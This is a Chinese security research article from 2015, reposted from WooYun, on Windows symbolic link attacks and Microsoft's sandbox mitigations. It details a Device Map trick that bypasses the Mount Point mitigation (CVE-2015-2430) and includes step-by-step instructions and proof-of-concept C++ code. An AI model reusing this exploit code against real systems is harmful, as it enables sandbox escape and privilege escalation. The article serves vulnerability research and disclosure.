Symbolic Link漏洞簡單背景介紹

wyzsk發表於2020-08-19
作者: 360安全衛士 · 2015/09/17 11:44

0x00 背景


Symbolic Link是微軟Windows系統上一項關鍵機制,從Windows NT3.1開始引入物件和登錄檔Symbolic Link後,微軟從Windows2000開始也引入了NTFS Mount Point和Directory Juntions,這些機制對於熟悉Windows內部機理的技術人員並不陌生,在著名的Windows Internals系列中,也有介紹這些機制。在過去,安全人員利用Symbolic Link來攻擊系統安全機制或安全軟體,也並不少見。

而這項技術重新火起來,要歸功於2014年BlackHat上 James Forshaw爆出的大量利用mount point、登錄檔的符號連結來繞過IE11的EPM沙箱的事件,在此之後, James Forshaw仍在不斷挖掘和透過Google Project Zero爆出大量利用這些機制的類似邏輯漏洞,透過這些漏洞可以穿透IE11的EPM沙箱,或者利用系統服務提升許可權等。在2015年的Syscan上,他則以一篇《A Link to the Past: Abusing Symbolic Links on Windows》給這些漏洞和攻擊方式做了更好地總結。

360Vulcan Team也發現了多個使用Symbolic Link繞過EPM沙盒的漏洞,在今年的HITCON安全會議上,我們就公開了我們發現的CVE-2014-6322等沙盒繞過漏洞,包括一個未公開的EPM沙盒繞過漏洞。

之所以利用Symbolic Link進行攻擊的漏洞頻繁出現,是和低許可權程式可以操作全域性物件的符號連結,使得高許可權程式訪問非預期的資源有重要關係的。這類漏洞不僅僅侷限在Windows平臺上,著名的iOS6/7越獄程式Evasion也是利用了蘋果iOS系統內服務對於符號連結的處理問題實現了最初的攻擊步驟。

0x01 微軟的緩和措施


隨著這些漏洞攻擊的頻繁爆出,微軟也在尋找更有效地緩和方式,既然低許可權建立符號連結是問題的關鍵所在,那麼封堵低許可權程式建立符號連結就成了自然會想到的解決方案。

在今年的五月份,Windows 10推出了內測版本Build 10120,在360安全團隊進行分析後就發現,在這個版本微軟就加入了針對登錄檔符號連結的防護,禁止”sandboxed”的低許可權程式建立登錄檔符號連結。在隨後的多個內測版本中,微軟又持續加入了針對物件的符號連結建立防護和針對Mount Point(目錄掛載點)連結的防護,禁止低許可權的程式建立這些連結。 具體來說,這些防護措施修改在Windows核心程式(ntoskrnl.exe)內,在建立登錄檔、檔案和物件的符號連結時,系統會使用RtlIsSandboxedToken來判斷當前的token是否在低完整性級別或者以下(例如AppContainer)。如果是的話,針對這三種符號連結,會採取不同的策略:

  1. 針對登錄檔符號連結: 完全禁止建立,禁止沙盒內的程式建立任何登錄檔符號連線

  2. 針對物件符號連結: 沙盒內程式可以建立物件符號連結,但是物件符號連線的Object上會增加特別的Flag,當非沙盒的程式遇到沙盒程式建立的符號連結時,符號連結不會生效

  3. 針對檔案(Mount Point)符號連結:沙盒內程式在建立物件符號連結時,系統會檢查對於被連結到的目標目錄(例如將c:\test\low\連結到目標c:\windows\目錄),當前程式是否具備寫入(包括寫入、追加、刪除、修改屬性等)許可權,如果不具備這些許可權,或者無法開啟目標目錄(例如目標目錄不存在),則會拒絕。

在Windows10 RTM正式釋出後,微軟又以不同尋常的速度(用James Forshaw的話來說,簡直就不敢讓人相信是微軟乾的)將這個安全緩和移植到了低版本的Windows作業系統上。

在今年8月11日,微軟釋出了MS15-090補丁,在Windows Vista\7\8\8.1及伺服器作業系統上修復了CVE-2015-2428\CVE-2015-2429\CVE-2015-2430這三個漏洞,而這個補丁的實質,就是將物件、登錄檔、檔案系統這三個符號連結的緩和防護移植到了這些作業系統上。微軟這些以相當有執行力的速度,試圖將這類漏洞徹底終結,送入歷史之中。

那麼,是不是對於Windows 10,包括打了8月補丁的Windows7, 8, 8.1等作業系統,這些符號連結的漏洞就和我們永遠說拜拜了呢?

答案當然是否定的,就如James Forshaw在44CON的議題標題所說, 2 Steps Forward, 1 Step Back,在開發這些緩和措施的過程中,水平不到位的安全/開發人員,也會犯這樣那樣的錯誤,使得我們在深入研究和分析這些機制後,仍然可能找出突破他們的方式。

0x02 針對緩和的繞過


在這裡,本文就是要介紹一種繞過Windows 10 Mount Point Mitigation(目錄掛載點緩和)的方式,由於這個緩和在Windows7/8/8.1等系統上是透過MS15-090得到修復的,因此這裡介紹的方法也是對MS15-090(CVE-2015-2430)的繞過攻擊方式。

前面我們說到,針對檔案/目錄的Mount Point符號連結,系統並沒有徹底禁止沙盒的程式去建立它們,而是會檢查對應被連結到的目標目錄,當前程式是否具備可寫的許可權,如果可寫(例如我們將同是位於低完整性級別目錄下的兩個繼承目錄進行連結),連結是可以被建立的。這就給我們突破這個防護提供了一個攻擊面,那麼我們來看看這個檢查具體是怎麼實現的呢?

這個檢查的程式碼是位於IopXxxControlFile中的,核心呼叫NtDeviceIoControlNtFsControlFile最終都要呼叫到這個函式中,這個函式負責為裝置呼叫封裝IRP並進行IRP傳送工作,FSCTL_SET_REPARSE_POINT這個用於設定NTFS Mount Point的裝置控制碼自然也不例外。在這個函式中,微軟增加了針對FSCTL_SET_REPARSE_POINT的特殊檢查處理,邏輯並不複雜,這裡我列出如下:

#!c++
if ( IoControlCode == FSCTL_SET_REPARSE_POINT ) 
{
     ReparseBuffer = Irp_1->AssociatedIrp.SystemBuffer;
     if ( InputBufferLength >= 4 && ReparseBuffer->ReparseTag == IO_REPARSE_TAG_MOUNT_POINT )
     {
       SubjectSecurityContext.ClientToken = 0;
       SubjectSecurityContext.ImpersonationLevel = 0;
       SubjectSecurityContext.PrimaryToken = 0;
       SubjectSecurityContext.ProcessAuditId = 0;
       bIsSandboxedProcess = CurrentThread;
       CurrentProcess = IoThreadToProcess(CurrentThread);
       SeCaptureSubjectContextEx(bIsSandboxedProcess, CurrentProcess, &SubjectSecurityContext);
       LOBYTE(bIsSandboxedProcess) = RtlIsSandboxedToken(&SubjectSecurityContext, AccessMode[0]);
       status = SeReleaseSubjectContext(&SubjectSecurityContext);
       if ( bIsSandboxedProcess )
       {
          status_1 = FsRtlValidateReparsePointBuffer(InputBufferLength, ReparseBuffer);
          if ( status_1 < 0 )
          {
             IopExceptionCleanup(Object, Irp_1, *&v79[1], 0);
             return status_1;
           }
           NameLength = ReparseBuffer->MountPointReparseBuffer.SubstituteNameLength;
           MaxLen = NameLength;
           NameBuffer = ReparseBuffer->MountPointReparseBuffer.PathBuffer;
           ObjectAttributes.Length = 24;
           ObjectAttributes.RootDirectory = 0;
           ObjectAttributes.Attributes = OBJ_FORCE_ACCESS_CHECK | OBJ_KERNEL_HANDLE
           ObjectAttributes.ObjectName = &NameLength;
           ObjectAttributes.SecurityDescriptor = 0;
           ObjectAttributes.SecurityQualityOfService = 0;
           status_2 = ZwOpenFile(&FileHandle, 
                                  0x120116u,
                                  &ObjectAttributes,
                                  &IoStatusBlock,
                                  FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE,
                                  FILE_DIRECTORY_FILE);
           if ( status_2 < 0 )
           {
              IopExceptionCleanup(Object, Irp_1, *&v79[1], 0);
              return status_2;
           }
           status = ZwClose(FileHandle);
     }
}

透過這段程式碼我們可以看到, 當IoControlCodeFSCTL_SET_REPARSE_POINT時,函式會檢查ReparseTag是否為IO_REPARSE_TAG_MOUNT_POINT,如果是Mount Point的操作,接下來就會使用RtlIsSandboxedToken來檢查當前程式是否是沙盒程式,如果是沙盒程式,在使用FsRtlValidateReparsePointBuffer檢查reparse point的快取資料格式後(這個函式在檔案系統驅動處理reparse point操作時也會用到),將目標目錄的路徑提取出來,使用ZwOpenFile嘗試開啟它, 如果無法開啟,就返回拒絕。

這裡開啟檔案有個很關鍵的步驟,大家可以看到程式碼裡ObjectAttributes.Attributes設定了包含OBJ_FORCE_ACCESS_CHECK標誌。這裡就是要求 ZwOpenFile 去強制檢查當前程式是否有許可權開啟這個目錄,否則ZwOpenFile透過核心模式轉換後,是直接無視許可權檢查的。

這個檢查似乎很嚴密,我們如何突破呢?筆者仔細研究了下相關的機制,本來想看看是否能透過在PathBuffer中調換SubsituteNamePrintName位置的方式(這段程式碼預設SubsituteName在前)來欺騙檢查邏輯,但後來發現FsRtlValidateReparsePointBuffer的預檢查中,已經強制要求了SubsituteName必須在前。

再深入看看Ntfs和Ntos針對Set Reparse Point的實現,筆者發現Reparse Point具體的目標物件的解析和處理並不是在ntfs中當前程式完成的,ntfs在收到set reparse point的file system control請求後,只是將這個資訊以檔案系統結構儲存起來,而直到訪問這個mount point的程式去訪問對應的路徑時,ntos的IO子系統才會去處理和解析相關的資料,也就是說,我們當前程式傳送過去的路徑, 是並不在當前程式中具體去處理的,也就是說,它在當前程式裡是可以無效或必並不指向我們原先想要的目標的。

根據這個事實,就不難想出,我們可以讓這裡的ZwOpenFile在我們的程式裡,開啟的其實並非c:\windows的目錄,而這個路徑在外面的程式看起來,則需要時真正的c:\windows。

筆者稍微複習了下IO子系統的程式碼,很快就想出了對應的欺騙技巧:Device Map

程式的Device Map是針對系統中的程式設定“虛擬DOS裝置路徑”的系統機制, 它可以透過NtSetInformationProcess/NtQueryInformationProcess的ProcessDeviceMap功能號來設定和查詢。

當系統核心開啟一個諸如c:\windows的DOS路徑時,NTDLL會首先將其前面加上\??\,使其變為一個NT路徑:\??\c:\windows ,通常來說\??\指向\GLOBAL??\,而\GLOBAL??\下就有C:這個指向\Device\HarddiskVolumeX等磁碟分割槽裝置的符號連結,使得最終系統的物件子系統能夠找到對應的檔案系統驅動傳送相關的檔案操作請求。

而Device Map的修改機制,允許我們將\??\指向其他的物件目錄,在ProcessDeviceMap中,我們只要填寫對應的物件目錄控制程式碼,就可以將當前程式(或者被設定的對應程式)的\??\對映到我們的物件目錄中,例如將 \??\不再指向\GLOBAL??\,而是\BaseNamedObjects。這項機制允許程式具備多個虛擬的\??\根目錄,這被Windows自己的核心機制例如WindowStation管理機制所使用。

而在這裡,我們正好就可以使用這個技巧,來繞過ZwOpenFile的安全檢查,步驟如下:

(假設我們用於測試的低許可權可訪問目錄為c:\users\test\desktop\low)

  1. 建立c:\users\test\desktop\low\windows目錄,這個目錄我們可以訪問,另外在low下在建立一個任意名字的目錄用來連結Windows目錄,例如叫做Low\demo目錄,這裡之所以要先建立,是因為我們後面要修改系統預設DOS裝置根目錄,再使用win32 api操作檔案會比較麻煩

  2. 將當前Device Map\??\透過NtSetInformationProcess對映到一個我們可寫的物件目錄,例如對於低完整性程式,\Session\X\BaseNamedObjects物件目錄就可以,我們可以將其對映到這個目錄來

  3. \Session\X\BaseNamedObjects物件目錄下建立一個物件符號連結,名為C: , 連結到\GLOBAL??\c:\users\test\desktop\low,注意這裡必須要用GLOBAL??而不是\??\因為預設的\??\已經被我們改到別的地方了

這裡的物件符號連結是我們當前程式自己用的,按前面說的,沙盒內的符號連結只有沙盒程式能用,所以是沒有問題的。

  1. 此時,當前程式的\??\c:\windows,實際變成了\BaseNamedObjects\c:\windows,而因為\BaseNamedObjects下面的C:是我們設定好的符號連結,因此這個路徑最終會被解析為\GLOBAL??\C:\users\test\desktop\low\windows,也就是我們在第一步裡建立的那個我們可以訪問的Windows目錄

  2. 最後,為low下的demo目錄建立連結到\??\c:\windows,這裡IopXxxControlFile在使用ZwOpenFile進行許可權檢查時,自然就檢查到了我們設定的欺騙目錄,並認為我們具備對這個目錄的寫入許可權,從而允許建立。

  3. 然而,在建立完成Mount Point後,這個路徑資訊已經被載入檔案系統中, 其他程式再來訪問時,會發現這個demo目錄指向真正的\??\c:\windows目錄, 我們成功實現繞過Mount Point緩和,建立有效的低許可權可訪問的、連結到高許可權目錄的符號連結。

下面是攻擊的示例關鍵程式碼:

#!c++
CreateDirectory("c:\\users\\test\\desktop\\low\\windows" , 0 )
CreateDirectory("c:\\users\\test\\desktop\\low\\demo" , 0)
HANDLE hlink = CreateFile("c:\\users\\test\\desktop\\low\\demo" , GENERIC_WRITE , FILE_SHARE_READ , 0 , OPEN_EXISTING , FILE_FLAG_BACKUP_SEMANTICS, 0 );
NtOpenDirectoryObject(&hObjDir , DIRECTORY_TRAVERSE , &oba); 
//"\\Sessions\\1\\BaseNamedObjects"
NtSetInformationProcess(GetCurrentProcess() , ProcessDeviceMap , &hObjDir ,sizeof(HANDLE));
NtCreateSymbolicLinkObject(&hObjLink , LINK_QUERY , &oba2 , &LinkTarget) ; 
//oba2: "\\??\\c:" link target:"\\GLOBAL??\\C:\\users\ \test\\desktop\\low"

WCHAR NtPath[MAX_PATH] = L"\\??\\C:\\WINDOWS\\";
WCHAR wdospath[MAX_PATH] = L"c:\\windows\\";

DWORD btr ; 
PREPARSE_DATA_BUFFER pBuffer;
DWORD buffsize ;
pBuffer = (PREPARSE_DATA_BUFFER)malloc(sizeof(REPARSE_DATA_BUFFER) + (wcslen(NtPath) + wcslen(wdospath)) * 2 + 2);

pBuffer->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
pBuffer->ReparseDataLength = sizeof(REPARSE_DATA_BUFFER) + (wcslen(NtPath) + wcslen(wdospath)) * 2 - 8 ;
pBuffer->Reserved = 0 ; 
pBuffer->MountPointReparseBuffer.SubstituteNameLength = wcslen(NtPath) * 2 ;
pBuffer->MountPointReparseBuffer.SubstituteNameOffset = 0 ; 
pBuffer->MountPointReparseBuffer.PrintNameLength = wcslen(wdospath) * 2 ;
pBuffer->MountPointReparseBuffer.PrintNameOffset = wcslen(NtPath) * 2 + 2 ; 
memcpy((PCHAR)pBuffer->MountPointReparseBuffer.PathBuffer , (PCHAR)NtPath , wcslen(NtPath) * 2 + 2);
memcpy((PCHAR)((PCHAR)pBuffer->MountPointReparseBuffer.PathBuffer + wcslen(NtPath) * 2 + 2) ,
 (PCHAR)wdospath ,
 wcslen(wdospath) * 2 + 2) ; 
buffsize = sizeof(REPARSE_DATA_BUFFER) + (wcslen(NtPath) + wcslen(wdospath)) * 2 ;

DeviceIoControl(hlink , FSCTL_SET_REPARSE_POINT , pBuffer , buffsize, NULL , 0 , &btr , 0 );

測試程式成功的截圖如下:

可以看到低許可權的poc_mklink成功建立目錄1,連結到c:\windows的junction。

enter image description here

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!